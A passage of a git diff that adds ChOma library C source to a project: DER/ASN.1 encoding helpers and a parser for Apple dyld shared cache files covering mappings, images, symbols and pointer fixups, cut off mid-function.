length->length); + uint32_t offset = 1 + length->length; + for (uint32_t i = 0; i < nItems; i++) { + memcpy(&data[offset], items[i]->data, items[i]->length); + offset += items[i]->length; + } + + DEREncodedItem *encodedItem = malloc(sizeof(DEREncodedItem)); + if (encodedItem == NULL) { + der_free_encoded_item(length); + free(data); + return NULL; + } + + encodedItem->data = data; + encodedItem->length = totalDataLength; + + der_free_encoded_item(length); + + return encodedItem; +} + +DEREncodedItem *der_encode_set(DEREncodedItem *items[], uint32_t nItems) { + uint8_t tag = ASN1_SET | ASN1_CONSTRUCTED; + + uint32_t totalLength = 0; + for (uint32_t i = 0; i < nItems; i++) { + totalLength += items[i]->length; + } + + DEREncodedItem *length = der_encode_length(totalLength); + if (length == NULL) { + return NULL; + } + + uint32_t totalDataLength = 1 + length->length + totalLength; + + uint8_t *data = malloc(totalDataLength); + if (data == NULL) { + der_free_encoded_item(length); + return NULL; + } + + data[0] = tag; + memcpy(&data[1], length->data, length->length); + uint32_t offset = 1 + length->length; + for (uint32_t i = 0; i < nItems; i++) { + memcpy(&data[offset], items[i]->data, items[i]->length); + offset += items[i]->length; + } + + DEREncodedItem *encodedItem = malloc(sizeof(DEREncodedItem)); + if (encodedItem == NULL) { + der_free_encoded_item(length); + free(data); + return NULL; + } + + encodedItem->data = data; + encodedItem->length = totalDataLength; + + der_free_encoded_item(length); + + return encodedItem; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/DER.h b/XPF/external/ChOma/src/DER.h new file mode 100644 index 0000000..e69e3be --- /dev/null +++ b/XPF/external/ChOma/src/DER.h @@ -0,0 +1,24 @@ +#ifndef DER_H +#define DER_H + +#include + +typedef struct { + uint8_t tag; + uint32_t length; + uint8_t *data; +} DERItem; + +typedef struct { + uint8_t *data; + uint32_t length; +} DEREncodedItem; + +void der_free_encoded_item(DEREncodedItem *item); +DEREncodedItem *der_encode_boolean(bool value); +DEREncodedItem *der_encode_integer(uint32_t value); +DEREncodedItem *der_encode_utf8_string(const char *string); +DEREncodedItem *der_encode_sequence(DEREncodedItem *items[], uint32_t nItems); +DEREncodedItem *der_encode_set(DEREncodedItem *items[], uint32_t nItems); + +#endif // DER_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/DyldSharedCache.c b/XPF/external/ChOma/src/DyldSharedCache.c new file mode 100644 index 0000000..ac81bd3 --- /dev/null +++ b/XPF/external/ChOma/src/DyldSharedCache.c @@ -0,0 +1,998 @@ +#include "DyldSharedCache.h" +#include +#include +#include +#include +#include +#include +#include "BufferedStream.h" +#include "Util.h" +#include "MachO.h" +#include "Fat.h" + +int string_comparator(void const *a, void const *b) { + char const *aa = *(char const **)a; + char const *bb = *(char const **)b; + + int r = strcmp(aa, bb); + return r; +} + +void dsc_enumerate_mappings(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCacheMapping *mapping, DyldSharedCacheFile *sourceFile, bool *stop)) +{ + for (unsigned i = 0; i < sharedCache->mappingCount; i++) { + DyldSharedCacheMapping *mapping = &sharedCache->mappings[i]; + bool stop = false; + enumeratorBlock(mapping, mapping->file, &stop); + if (stop) break; + } +} + +DyldSharedCacheMapping *dsc_lookup_mapping(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size) +{ + __block DyldSharedCacheMapping *mappingOut = NULL; + + dsc_enumerate_mappings(sharedCache, ^(DyldSharedCacheMapping *mapping, DyldSharedCacheFile *sourceFile, bool *stop) { + uint64_t mappingEndAddr = mapping->vmaddr + mapping->size; + uint64_t searchEndAddr = vmaddr + size; + if (size != 0) searchEndAddr--; + if (vmaddr >= mapping->vmaddr && (searchEndAddr < mappingEndAddr)) { + mappingOut = mapping; + *stop = true; + } + }); + + return mappingOut; +} + +void *dsc_find_buffer(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size) +{ + DyldSharedCacheMapping *mapping = dsc_lookup_mapping(sharedCache, vmaddr, size); + if (mapping) { + return (void *)((uintptr_t)mapping->ptr + (vmaddr - mapping->vmaddr)); + } + + return NULL; +} + +int dsc_read_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, size_t size, void *outBuf) +{ + uint64_t startAddr = vmaddr; + uint64_t endAddr = startAddr + size; + uint64_t curAddr = startAddr; + + while (curAddr < endAddr) { + DyldSharedCacheMapping *mapping = dsc_lookup_mapping(sharedCache, curAddr, 0); + if (!mapping) return -1; + + uint64_t startOffset = curAddr - mapping->vmaddr; + uint64_t mappingRemaining = mapping->size - startOffset; + uint64_t copySize = endAddr - curAddr; + if (copySize > mappingRemaining) copySize = mappingRemaining; + + memcpy((void *)((intptr_t)outBuf + (curAddr - startAddr)), (void *)((intptr_t)mapping->ptr + startOffset), copySize); + curAddr += copySize; + } + + return 0; +} + +int dsc_read_string_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, char **outString) +{ + uint64_t len = 0; + char c = 0; + do { + if (dsc_read_from_vmaddr(sharedCache, vmaddr + (len++), sizeof(c), &c) != 0) return -1; + } while (c != 0); + + *outString = malloc(len); + return dsc_read_from_vmaddr(sharedCache, vmaddr, len, *outString); +} + +uint64_t dsc_fileoff_to_vmaddr(DyldSharedCache *sharedCache, DyldSharedCacheFile *file, uint64_t fileoff) +{ + for (unsigned i = 0; i < sharedCache->mappingCount; i++) { + DyldSharedCacheMapping *mapping = &sharedCache->mappings[i]; + if (mapping->file == file) { + if (fileoff >= mapping->fileoff && fileoff < (mapping->fileoff + mapping->size)) { + return mapping->vmaddr + (fileoff - mapping->fileoff); + } + } + } + return 0; +} + +uint64_t dsc_vmaddr_to_fileoff(DyldSharedCache *sharedCache, uint64_t vmaddr, DyldSharedCacheFile **fileOut) +{ + DyldSharedCacheMapping *mapping = dsc_lookup_mapping(sharedCache, vmaddr, 0); + if (mapping) { + if (fileOut) *fileOut = mapping->file; + return (vmaddr - mapping->vmaddr) + mapping->fileoff; + } + return 0; +} + +DyldSharedCacheFile *_dsc_load_file(const char *dscPath, const char suffix[32]) +{ + int fd = -1; + DyldSharedCacheFile *file = NULL; + + char filepath[strlen(dscPath) + strnlen(suffix, 32) + 1]; + strcpy(filepath, dscPath); + strncat(filepath, suffix, 32); + + fd = open(filepath, O_RDONLY); + if (fd < 0) goto fail; + + struct stat sb; + if (fstat(fd, &sb) != 0) goto fail; + + if (sb.st_size < sizeof(struct dyld_cache_header)) goto fail; + + file = malloc(sizeof(DyldSharedCacheFile)); + if (!file) goto fail; + + lseek(fd, 0, SEEK_SET); + read(fd, &file->header, sizeof(file->header)); + + if (strncmp(file->header.magic, "dyld_v", 6) != 0) goto fail; + + // A lot of version detection works through the mappingOffset attribute + // This attribute typically points to the end of the header, since the mappings directly follow the header + // To make certain version detection easier, we zero out any fields after it, since these are unused on the version the DSC is from + // This reduces the amount of version (mappingOffset) checks neccessary, but does not fully eliminate them + if (file->header.mappingOffset < sizeof(file->header)) { + memset((void *)((uintptr_t)&file->header + file->header.mappingOffset), 0, sizeof(file->header) - file->header.mappingOffset); + } + else if (file->header.mappingOffset > sizeof(file->header)) { + static bool versionWarningPrinted = false; + if (!versionWarningPrinted) { + fprintf(stderr, "Warning: DSC version is newer than what ChOma supports, your mileage may vary.\n"); + versionWarningPrinted = true; + } + } + + file->fd = fd; + file->filepath = strdup(filepath); + file->filesize = sb.st_size; + return file; + +fail: + if (file) free(file); + if (fd >= 0) close(fd); + return NULL; +} + +int dsc_file_read_at_offset(DyldSharedCacheFile *dscFile, uint64_t offset, size_t size, void *outBuf) +{ + lseek(dscFile->fd, offset, SEEK_SET); + return !(read(dscFile->fd, outBuf, size) == size); +} + +int dsc_file_read_string_at_offset(DyldSharedCacheFile *dscFile, uint64_t offset, char **outBuf) +{ + lseek(dscFile->fd, offset, SEEK_SET); + return read_string(dscFile->fd, outBuf); +} + +DyldSharedCache *dsc_init_from_path_premapped(const char *path, uint32_t premapSlide) +{ + if (!path) return NULL; + + DyldSharedCache *sharedCache = malloc(sizeof(DyldSharedCache)); + sharedCache->mappings = NULL; + sharedCache->mappingCount = 0; + sharedCache->symbolFile.index = 0; + sharedCache->premapSlide = premapSlide; + + // Load main DSC file + DyldSharedCacheFile *mainFile = _dsc_load_file(path, ""); + if (!mainFile) { + fprintf(stderr, "Error: Failed to load main cache file\n"); + dsc_free(sharedCache); + return NULL; + } + + struct dyld_cache_header *mainHeader = &mainFile->header; + if (!strncmp(mainHeader->magic, "dyld_v1 armv7", 14)) { + sharedCache->cputype = CPU_TYPE_ARM; + sharedCache->cpusubtype = CPU_SUBTYPE_ARM_V7; + } + else if (!strncmp(mainHeader->magic, "dyld_v1 arm64", 14)) { + sharedCache->cputype = CPU_TYPE_ARM64; + sharedCache->cpusubtype = CPU_SUBTYPE_ARM64_ALL; + } + else if (!strncmp(mainHeader->magic, "dyld_v1 arm64e", 15)) { + sharedCache->cputype = CPU_TYPE_ARM64; + sharedCache->cpusubtype = CPU_SUBTYPE_ARM64E; + } + else { + // Only arm supported for now + printf("Error: DSC has unsupported architecture\n"); + return NULL; + } + + bool symbolFileExists = !!memcmp(mainHeader->symbolFileUUID, UUID_NULL, sizeof(UUID_NULL)); + uint32_t subCacheArrayCount = mainHeader->subCacheArrayCount; + + sharedCache->fileCount = 1 + subCacheArrayCount + symbolFileExists; + + sharedCache->files = malloc(sizeof(struct DyldSharedCacheFile *) * sharedCache->fileCount); + sharedCache->files[0] = mainFile; + + if (subCacheArrayCount > 0) { + // If there are sub caches, load them aswell + int subCacheStructVersion = mainHeader->mappingOffset <= offsetof(struct dyld_cache_header, cacheSubType) ? 1 : 2; + + for (uint32_t i = 0; i < subCacheArrayCount; i++) { + DyldSharedCacheFile **file = &sharedCache->files[1+i]; + struct dyld_subcache_entry subcacheEntry; + + if (subCacheStructVersion == 1) { + struct dyld_subcache_entry_v1 v1Entry; + dsc_file_read_at_offset(mainFile, mainHeader->subCacheArrayOffset + sizeof(v1Entry) * i, sizeof(v1Entry), &v1Entry); + + // Old format (iOS <=15) had no suffix string, here the suffix is derived from the index + memcpy(subcacheEntry.uuid, v1Entry.uuid, sizeof(uuid_t)); + subcacheEntry.cacheVMOffset = v1Entry.cacheVMOffset; + snprintf(subcacheEntry.fileSuffix, sizeof(subcacheEntry.fileSuffix), ".%u", i+1); + } + else { + dsc_file_read_at_offset(mainFile, mainHeader->subCacheArrayOffset + sizeof(subcacheEntry) * i, sizeof(subcacheEntry), &subcacheEntry); + } + + *file = _dsc_load_file(path, subcacheEntry.fileSuffix); + if (!*file) { + fprintf(stderr, "Error: Failed to map subcache with suffix %s\n", subcacheEntry.fileSuffix); + dsc_free(sharedCache); + return NULL; + } + + struct dyld_cache_header *header = &(*file)->header; + if (memcmp(header->uuid, subcacheEntry.uuid, sizeof(header->uuid)) != 0) { + fprintf(stderr, "Error: UUID mismatch on subcache with suffix %s\n", subcacheEntry.fileSuffix); + dsc_free(sharedCache); + return NULL; + } + } + } + + if (symbolFileExists) { + // If there is a .symbols file, load that aswell and use it for getting symbols + sharedCache->symbolFile.index = sharedCache->fileCount - 1; + + sharedCache->files[sharedCache->symbolFile.index] = _dsc_load_file(path, ".symbols"); + if (!sharedCache->files[sharedCache->symbolFile.index]) { + fprintf(stderr, "Error: Failed to map symbols subcache\n"); + dsc_free(sharedCache); + return NULL; + } + + struct dyld_cache_header *header = &sharedCache->files[sharedCache->symbolFile.index]->header; + if (memcmp(header->uuid, mainHeader->symbolFileUUID, sizeof(header->uuid)) != 0) { + fprintf(stderr, "Error: UUID mismatch on symbols subcache\n"); + dsc_free(sharedCache); + return NULL; + } + } + + sharedCache->baseAddress = mainHeader->sharedRegionStart ?: UINT64_MAX; + + for (unsigned i = 0; i < sharedCache->fileCount; i++) { + DyldSharedCacheFile *file = sharedCache->files[i]; + if (!file) continue; + + if (i != 0 && i == sharedCache->symbolFile.index) { + // If there is a separate .symbols file (and we don't use the main shared cache for symbols) + // then skip any mappings inside it, since this usually only contains a bogus mapping + continue; + } + + struct dyld_cache_header *header = &file->header; + + //printf("Parsing DSC %s\n", file->filepath); + + if (file->filesize < (header->mappingOffset + header->mappingCount * sizeof(struct dyld_cache_mapping_info))) { + fprintf(stderr, "Warning: Failed to parse DSC %s.\n", file->filepath); + } + + bool slideInfoExists = (bool)header->mappingWithSlideOffset; + uint64_t mappingOffset = (slideInfoExists ? header->mappingWithSlideOffset : header->mappingOffset); + + unsigned prevMappingCount = sharedCache->mappingCount; + sharedCache->mappingCount += header->mappingCount; + sharedCache->mappings = realloc(sharedCache->mappings, sharedCache->mappingCount * sizeof(DyldSharedCacheMapping)); + + for (int k = 0; k < header->mappingCount; k++) { + DyldSharedCacheMapping *thisMapping = &sharedCache->mappings[prevMappingCount + k]; + + struct dyld_cache_mapping_and_slide_info fullInfo = {}; + if (slideInfoExists) { + dsc_file_read_at_offset(file, mappingOffset + (k * sizeof(fullInfo)), sizeof(fullInfo), &fullInfo); + } + else { + struct dyld_cache_mapping_info mappingInfo; + dsc_file_read_at_offset(file, mappingOffset + k * sizeof(mappingInfo), sizeof(mappingInfo), &mappingInfo); + + fullInfo.address = mappingInfo.address; + fullInfo.size = mappingInfo.size; + fullInfo.fileOffset = mappingInfo.fileOffset; + fullInfo.maxProt = mappingInfo.maxProt; + fullInfo.initProt = mappingInfo.initProt; + fullInfo.slideInfoFileOffset = 0; + fullInfo.slideInfoFileSize = 0; + } + + thisMapping->file = file; + thisMapping->size = fullInfo.size; + thisMapping->fileoff = fullInfo.fileOffset; + thisMapping->vmaddr = fullInfo.address; + thisMapping->flags = fullInfo.flags; + if (sharedCache->premapSlide) { + thisMapping->ptr = (void *)(thisMapping->vmaddr + sharedCache->premapSlide); + } + else { + thisMapping->ptr = mmap(NULL, thisMapping->size, PROT_READ, MAP_FILE | MAP_SHARED, file->fd, thisMapping->fileoff); + } + + // Find base address on shared caches that don't have sharedRegionStart + if (!mainHeader->sharedRegionStart) { + if (thisMapping->vmaddr < sharedCache->baseAddress) { + sharedCache->baseAddress = thisMapping->vmaddr; + } + } + + thisMapping->initProt = fullInfo.initProt; + thisMapping->maxProt = fullInfo.maxProt; + + if (fullInfo.slideInfoFileOffset) { + thisMapping->slideInfoSize = fullInfo.slideInfoFileSize; + thisMapping->slideInfoPtr = malloc(thisMapping->slideInfoSize); + dsc_file_read_at_offset(file, fullInfo.slideInfoFileOffset, thisMapping->slideInfoSize, thisMapping->slideInfoPtr); + } + else { + thisMapping->slideInfoPtr = NULL; + thisMapping->slideInfoSize = 0; + } + } + } + + if (mainHeader->imagesTextCount) { + struct dyld_cache_image_text_info imageTexts[mainHeader->imagesTextCount]; + dsc_file_read_at_offset(mainFile, mainHeader->imagesTextOffset, sizeof(imageTexts), imageTexts); + + sharedCache->containedImageCount = mainHeader->imagesTextCount; + sharedCache->containedImages = malloc(mainHeader->imagesTextCount * sizeof(DyldSharedCacheImage)); + for (uint64_t i = 0; i < mainHeader->imagesTextCount; i++) { + struct dyld_cache_image_text_info *imageTextInfo = &imageTexts[i]; + DyldSharedCacheImage *image = &sharedCache->containedImages[i]; + + image->address = imageTextInfo->loadAddress; + image->size = imageTextInfo->textSegmentSize; + + void *buffer = dsc_find_buffer(sharedCache, image->address, image->size); + if (!buffer) { + continue; + } + + image->index = i; + + memcpy(&image->uuid, &imageTextInfo->uuid, sizeof(uuid_t)); + + dsc_file_read_string_at_offset(mainFile, imageTextInfo->pathOffset, &image->path); + + MemoryStream *stream = buffered_stream_init_from_buffer_nocopy(buffer, image->size, 0); + image->fat = fat_dsc_init_from_memory_stream(stream, sharedCache, image); + } + } + else { + uint64_t imagesOffset = mainHeader->imagesOffsetOld ?: mainHeader->imagesOffset; + uint64_t imagesCount = mainHeader->imagesCountOld ?: mainHeader->imagesCount; + + struct dyld_cache_image_info imageInfos[imagesCount]; + dsc_file_read_at_offset(mainFile, imagesOffset, sizeof(imageInfos), imageInfos); + + sharedCache->containedImageCount = imagesCount; + sharedCache->containedImages = malloc(imagesCount * sizeof(DyldSharedCacheImage)); + for (uint64_t i = 0; i < imagesCount; i++) { + DyldSharedCacheImage *image = &sharedCache->containedImages[i]; + + // There is no size in this format, so we need to calculate it + // Either based on the image after it or based on the end of the mapping + DyldSharedCacheMapping *mappingForThisImage = dsc_lookup_mapping(sharedCache, imageInfos[i].address, 0); + if (!mappingForThisImage) { + continue; + } + + uint64_t mappingEndAddr = mappingForThisImage->vmaddr + mappingForThisImage->size; + + // Some images have the same address and also the list is not sorted + // So we need to traverse it to find the next image after this one + uint64_t endAddr = UINT64_MAX; + for (int k = 0; k < imagesCount; k++) { + if (imageInfos[k].address > imageInfos[i].address) { + if (endAddr > imageInfos[k].address) { + endAddr = imageInfos[k].address; + break; + } + } + } + + // If there was no image after it or the image after it is in a different mapping + // Use the end of the mapping as the end address + if (endAddr > mappingEndAddr) { + endAddr = mappingEndAddr; + } + + image->address = imageInfos[i].address; + image->size = endAddr - imageInfos[i].address; + + void *buffer = dsc_find_buffer(sharedCache, image->address, image->size); + if (!buffer) { + continue; + } + + image->index = i; + + dsc_file_read_string_at_offset(mainFile, imageInfos[i].pathFileOffset, &image->path); + + MemoryStream *stream = buffered_stream_init_from_buffer_nocopy(buffer, image->size, 0); + image->fat = fat_dsc_init_from_memory_stream(stream, sharedCache, &sharedCache->containedImages[i]); + } + } + + return sharedCache; +} + +int _dsc_load_symbols(DyldSharedCache *sharedCache) +{ + if (!sharedCache->symbolFile.loaded) { + if (sharedCache->symbolFile.index != -1) { + DyldSharedCacheFile *symbolCacheFile = sharedCache->files[sharedCache->symbolFile.index]; + struct dyld_cache_header *symbolCacheHeader = &symbolCacheFile->header; + if (symbolCacheHeader->localSymbolsOffset) { + struct dyld_cache_local_symbols_info symbolsInfo; + dsc_file_read_at_offset(symbolCacheFile, symbolCacheHeader->localSymbolsOffset, sizeof(symbolsInfo), &symbolsInfo); + + for (uint64_t i = 0; i < symbolsInfo.entriesCount; i++) { + uint64_t dylibOffset = 0; + uint32_t nlistStartIndex = 0; + uint32_t nlistCount = 0; + int r = 0; + + #define _GENERIC_READ_SYMBOL_ENTRY(entryType) do { \ + struct entryType symbolEntry; \ + if ((r = dsc_file_read_at_offset(symbolCacheFile, symbolCacheHeader->localSymbolsOffset + symbolsInfo.entriesOffset + i * sizeof(symbolEntry), sizeof(symbolEntry), &symbolEntry)) != 0) break; \ + dylibOffset = symbolEntry.dylibOffset; \ + nlistStartIndex = symbolEntry.nlistStartIndex; \ + nlistCount = symbolEntry.nlistCount; \ + } while (0) + + if (symbolCacheHeader->mappingOffset >= offsetof(struct dyld_cache_header, symbolFileUUID)) { + _GENERIC_READ_SYMBOL_ENTRY(dyld_cache_local_symbols_entry_64); + } + else { + _GENERIC_READ_SYMBOL_ENTRY(dyld_cache_local_symbols_entry); + } + + if (r != 0) continue; + + #undef _GENERIC_READ_SYMBOL_ENTRY + + DyldSharedCacheImage *image = dsc_lookup_image_by_address(sharedCache, sharedCache->baseAddress + dylibOffset); + if (image) { + image->nlistCount = nlistCount; + image->nlistStartIndex = nlistStartIndex; + } + } + + sharedCache->symbolFile.nlistCount = symbolsInfo.nlistCount; + uint64_t nlistSize = (dsc_is32bit(sharedCache) ? sizeof(struct nlist) : sizeof(struct nlist_64)) * sharedCache->symbolFile.nlistCount; + sharedCache->symbolFile.nlist = malloc(nlistSize); + dsc_file_read_at_offset(symbolCacheFile, symbolCacheHeader->localSymbolsOffset + symbolsInfo.nlistOffset, nlistSize, sharedCache->symbolFile.nlist); + + uint64_t stringsOffsetPage = (symbolCacheHeader->localSymbolsOffset + symbolsInfo.stringsOffset) & ~PAGE_MASK; + uint64_t stringsOffsetPageOff = (symbolCacheHeader->localSymbolsOffset + symbolsInfo.stringsOffset) & PAGE_MASK; + + sharedCache->symbolFile.stringsSize = symbolsInfo.stringsSize; + + char *mappedStrings = mmap(NULL, sharedCache->symbolFile.stringsSize + stringsOffsetPageOff, PROT_READ, MAP_FILE | MAP_PRIVATE, symbolCacheFile->fd, stringsOffsetPage); + if (mappedStrings != MAP_FAILED) { + sharedCache->symbolFile.strings = mappedStrings + stringsOffsetPageOff; + } + else { + perror("mmap"); + } + } + } + + sharedCache->symbolFile.loaded = true; + } + + return sharedCache->symbolFile.nlist ? 0 : -1; +} + +DyldSharedCache *dsc_init_from_path(const char *path) +{ + return dsc_init_from_path_premapped(path, 0); +} + +bool dsc_is32bit(DyldSharedCache *sharedCache) +{ + if (sharedCache->cputype == CPU_TYPE_ARM) { + return true; + } + else { + return false; + } +} + +void dsc_enumerate_files(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *filepath, size_t filesize, struct dyld_cache_header *header)) +{ + for (int i = 0; i < sharedCache->fileCount; i++) { + enumeratorBlock(sharedCache->files[i]->filepath, sharedCache->files[i]->filesize, &sharedCache->files[i]->header); + } +} + +void dsc_enumerate_images(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *path, DyldSharedCacheImage *imageHandle, MachO *imageMachO, bool *stop)) +{ + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + bool stop = false; + DyldSharedCacheImage *imageHandle = &sharedCache->containedImages[i]; + MachO *macho = fat_get_single_slice(imageHandle->fat); + if (imageHandle && macho) { + enumeratorBlock(sharedCache->containedImages[i].path, imageHandle, macho, &stop); + } + if (stop) break; + } +} + +DyldSharedCacheImage *dsc_find_image_for_section_address(DyldSharedCache *sharedCache, uint64_t address) +{ + __block DyldSharedCacheImage *image = NULL; + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + if (sharedCache->containedImages[i].fat->slicesCount == 1) { + MachO *macho = sharedCache->containedImages[i].fat->slices[0]; + if (macho) { + macho_enumerate_sections(macho, ^(struct section_64 *section, struct segment_command_64 *segment, bool *stop) { + if (address >= section->addr && address < (section->addr + section->size)) { + image = &sharedCache->containedImages[i]; + } + }); + } + } + } + return image; +} + +MachO *dsc_image_get_macho(DyldSharedCacheImage *image) +{ + return fat_get_single_slice(image->fat); +} + +DyldSharedCacheImage *dsc_lookup_image_by_address(DyldSharedCache *sharedCache, uint64_t address) +{ + __block DyldSharedCacheImage *image = NULL; + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + MachO *macho = dsc_image_get_macho(&sharedCache->containedImages[i]); + struct segment_command_64 segment; + if (macho_lookup_segment_by_addr(macho, address, &segment) == 0) { + image = &sharedCache->containedImages[i]; + } + if (image) break; + } + return image; +} + +MachO *dsc_lookup_macho_by_address(DyldSharedCache *sharedCache, uint64_t address, DyldSharedCacheImage **imageHandleOut) +{ + DyldSharedCacheImage *image = dsc_lookup_image_by_address(sharedCache, address); + if (image) { + if (imageHandleOut) *imageHandleOut = image; + return dsc_image_get_macho(image); + } + return NULL; +} + +DyldSharedCacheImage *dsc_lookup_image_by_path(DyldSharedCache *sharedCache, const char *path) +{ + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + if (!strcmp(sharedCache->containedImages[i].path, path)) { + return &sharedCache->containedImages[i]; + } + } + return NULL; +} + +MachO *dsc_lookup_macho_by_path(DyldSharedCache *sharedCache, const char *path, DyldSharedCacheImage **imageHandleOut) +{ + DyldSharedCacheImage *image = dsc_lookup_image_by_path(sharedCache, path); + if (image) { + if (imageHandleOut) *imageHandleOut = image; + return dsc_image_get_macho(image); + } + return NULL; +} + +int dsc_image_enumerate_symbols(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)) +{ + if (_dsc_load_symbols(sharedCache) != 0) return -1; + + struct dyld_cache_header *symbolCacheHeader = &sharedCache->files[sharedCache->symbolFile.index]->header; + if (!symbolCacheHeader->localSymbolsOffset) return -1; + + char *stringTable = sharedCache->symbolFile.strings; + + uint32_t firstSymIdx = image->nlistStartIndex; + uint32_t lastSymIdx = image->nlistStartIndex + image->nlistCount - 1; + if (lastSymIdx > sharedCache->symbolFile.nlistCount) return -1; + + for (uint32_t symIdx = firstSymIdx; symIdx <= lastSymIdx; symIdx++) { + uint64_t n_strx = 0; + uint64_t n_value = 0; + uint8_t n_type = 0; + + #define _GENERIC_READ_NLIST(nlistType) do { \ + struct nlistType *entry = &((struct nlistType *)sharedCache->symbolFile.nlist)[symIdx]; \ + n_strx = entry->n_un.n_strx; \ + n_value = entry->n_value; \ + n_type = entry->n_type; \ + } while (0) + + if (dsc_is32bit(sharedCache)) { + _GENERIC_READ_NLIST(nlist); + } + else { + _GENERIC_READ_NLIST(nlist_64); + } + + #undef _GENERIC_READ_NLIST + + if (n_strx > sharedCache->symbolFile.stringsSize) return -1; + + bool stop = false; + enumeratorBlock(&stringTable[n_strx], n_type, n_value, &stop); + if (stop) break; + } + + return 0; +} + +int dsc_image_enumerate_patches(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(unsigned v, void *patchable_location, bool *stop)) +{ + struct dyld_cache_header *mainHeader = &sharedCache->files[0]->header; + + struct dyld_cache_patch_info_v3 *patchInfo = dsc_find_buffer(sharedCache, mainHeader->patchInfoAddr, mainHeader->patchInfoSize); + + if (patchInfo->infoV2.patchTableVersion == 4) { + struct dyld_cache_image_got_clients_v3 *gotClients = (void *)((uintptr_t)patchInfo + (patchInfo->gotClientsArrayAddr - mainHeader->patchInfoAddr)); + struct dyld_cache_patchable_export_v3 *clientExports = (void *)((uintptr_t)patchInfo + (patchInfo->gotClientExportsArrayAddr - mainHeader->patchInfoAddr)); + struct dyld_cache_patchable_location_v4 *locationArray = (void *)((uintptr_t)patchInfo + (patchInfo->gotLocationArrayAddr - mainHeader->patchInfoAddr)); + + uint32_t patchExportsStartIndex = gotClients[image->index].patchExportsStartIndex; + uint32_t patchExportsEndIndex = patchExportsStartIndex + gotClients[image->index].patchExportsCount; + for (uint32_t i = patchExportsStartIndex; i < patchExportsEndIndex; i++) { + uint32_t patchLocationsStartIndex = clientExports[i].patchLocationsStartIndex; + uint32_t patchLocationsEndIndex = patchLocationsStartIndex + clientExports[i].patchLocationsCount; + for (uint32_t k = clientExports[i].patchLocationsStartIndex; k < patchLocationsEndIndex; k++) { + bool stop = false; + enumeratorBlock(4, &locationArray[k], &stop); + if (stop) return 0; + } + } + } + + return 0; +} + +int dsc_mapping_enumerate_chained_fixups_on_range(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping, uint64_t rangeStart, uint64_t rangeEnd, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + if (!mapping->slideInfoPtr) return -1; + if (sharedCache->premapSlide != 0) return -1; // XXX: Not supported on premapped dscs + + uint32_t version = *(uint32_t *)mapping->slideInfoPtr; + switch (version) { + case 5: { + struct dyld_cache_slide_info5 *info = mapping->slideInfoPtr; + uint64_t startAddr = mapping->vmaddr; + uint64_t endAddr = startAddr + (info->page_starts_count * info->page_size); + + uint64_t pageMask = info->page_size - 1; + bool hasRange = false; + + if (rangeStart != 0 && rangeEnd != 0) { + if (rangeStart < startAddr || rangeStart >= endAddr) return -1; + startAddr = rangeStart & ~pageMask; + if (rangeEnd <= startAddr || rangeEnd > endAddr) return -1; + endAddr = (rangeEnd + pageMask) & ~pageMask; + hasRange = true; + } + + for (uint64_t pageAddr = startAddr; pageAddr < endAddr; pageAddr += info->page_size) { + uint64_t pageIdx = (pageAddr - mapping->vmaddr) / info->page_size; + uint32_t delta = info->page_starts[pageIdx]; + union dyld_cache_slide_pointer5* loc = (mapping->ptr + (pageAddr - mapping->vmaddr)); + if (delta != DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE) { + delta /= 8; // The first delta is a direct offset, all further ones are (offset / 8) + do { + loc += delta; + delta = loc->auth.next; + + uint64_t value = loc->regular.runtimeOffset + info->value_add; + if (!loc->auth.auth) { + value |= ((uint64_t)loc->regular.high8 << 56); + } + + DyldSharedCachePointer pointer = (DyldSharedCachePointer){ + .location = ((uint64_t)loc - (uint64_t)mapping->ptr) + mapping->vmaddr, + .target = value, + + .authenticated = loc->auth.auth, + .key = loc->auth.keyIsData ? PAC_KEY_DA : PAC_KEY_IA, + .diversifier = loc->auth.diversity, + .hasAddressDiversity = loc->auth.addrDiv, + }; + + if (hasRange) { + if (pointer.location < rangeStart) continue; + if (pointer.location >= rangeEnd) break; + } + + bool stop = false; + enumeratorBlock(&pointer, &stop); + if (stop) return 0; + } while (delta != 0); + } + } + break; + } + // XXX: What actually uses version 4??? + case 3: { + struct dyld_cache_slide_info3 *info = mapping->slideInfoPtr; + uint64_t startAddr = mapping->vmaddr; + uint64_t endAddr = startAddr + (info->page_starts_count * info->page_size); + + uint64_t pageMask = info->page_size - 1; + bool hasRange = false; + + if (rangeStart != 0 && rangeEnd != 0) { + if (rangeStart < startAddr || rangeStart >= endAddr) return -1; + startAddr = rangeStart & ~pageMask; + if (rangeEnd <= startAddr || rangeEnd > endAddr) return -1; + endAddr = (rangeEnd + pageMask) & ~pageMask; + hasRange = true; + } + + for (uint64_t pageAddr = startAddr; pageAddr < endAddr; pageAddr += info->page_size) { + uint64_t pageIdx = (pageAddr - mapping->vmaddr) / info->page_size; + uint32_t delta = info->page_starts[pageIdx]; + union dyld_cache_slide_pointer3* loc = (mapping->ptr + (pageAddr - mapping->vmaddr)); + if (delta != DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE) { + delta /= 8; // The first delta is a direct offset, all further ones are (offset / 8) + do { + loc += delta; + delta = loc->auth.offsetToNextPointer; + + uint64_t value = 0; + if (loc->auth.authenticated) { + value = loc->auth.offsetFromSharedCacheBase + info->auth_value_add; + } + else { + uint64_t value51 = loc->plain.pointerValue; + uint64_t top8Bits = value51 & 0x0007F80000000000ULL; + uint64_t bottom43Bits = value51 & 0x000007FFFFFFFFFFULL; + value = (top8Bits << 13) | bottom43Bits; + } + + DyldSharedCachePointer pointer = 